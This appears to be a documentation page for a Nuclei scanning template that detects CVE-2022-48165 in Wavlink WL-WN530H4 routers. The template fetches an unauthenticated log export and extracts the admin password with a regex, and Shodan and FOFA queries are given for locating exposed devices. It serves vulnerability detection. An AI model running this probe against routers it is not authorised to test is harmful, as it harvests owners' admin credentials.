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Wavlink - Improper Access Control

ID: CVE-2022-48165

Severity: high

Author: For3stCo1d

Tags: cve2022,cve,wavlink,router,exposure

Description

Section titled “Description”

Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2022-48165


info:
  name: Wavlink - Improper Access Control
  author: For3stCo1d
  severity: high
  description: |
    Wavlink WL-WN530H4 M30H4.V5030.210121 is susceptible to improper access control in the component /cgi-bin/ExportLogs.sh. An attacker can download configuration data and log files, obtain admin credentials, and potentially execute unauthorized operations.
  impact: |
    The vulnerability can lead to unauthorized access, data leakage, or unauthorized actions on the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the access control issue.
  reference:
    - https://docs.google.com/document/d/1HD4GKumkZpa6FNHuf0QQSKFvoYhCfwXpbyWiJdx1VtE
    - https://twitter.com/For3stCo1d/status/1622576544190464000
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-48165
    - https://github.com/strik3r0x1/Vulns/blob/main/WAVLINK_WL-WN530H4.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-48165
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-48165
    cwe-id: CWE-284
    epss-score: 0.04111
    epss-percentile: 0.9131
    cpe: cpe:2.3:o:wavlink:wl-wn530h4_firmware:m30h4.v5030.210121:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wl-wn530h4_firmware
    shodan-query: http.favicon.hash:-1350437236
    fofa-query: icon_hash=-1350437236
  tags: cve2022,cve,wavlink,router,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportLogs.sh"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Password='
          - 'Login='
        condition: and


      - type: word
        part: header
        words:
          - filename="sysLogs.txt"


      - type: status
        status:
          - 200


    extractors:
      - type: regex
        regex:
          - 'Password=([^\s]+)'
# digest: 490a00463044022023697f304a103f0273ea6dc07f3eaf7b31fc1d32f36cda744f2dfa551b79d05d0220593203d2d306fec0157b5526277c356dffaf654403d99807a3f2970e2174057e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-48165.yaml"

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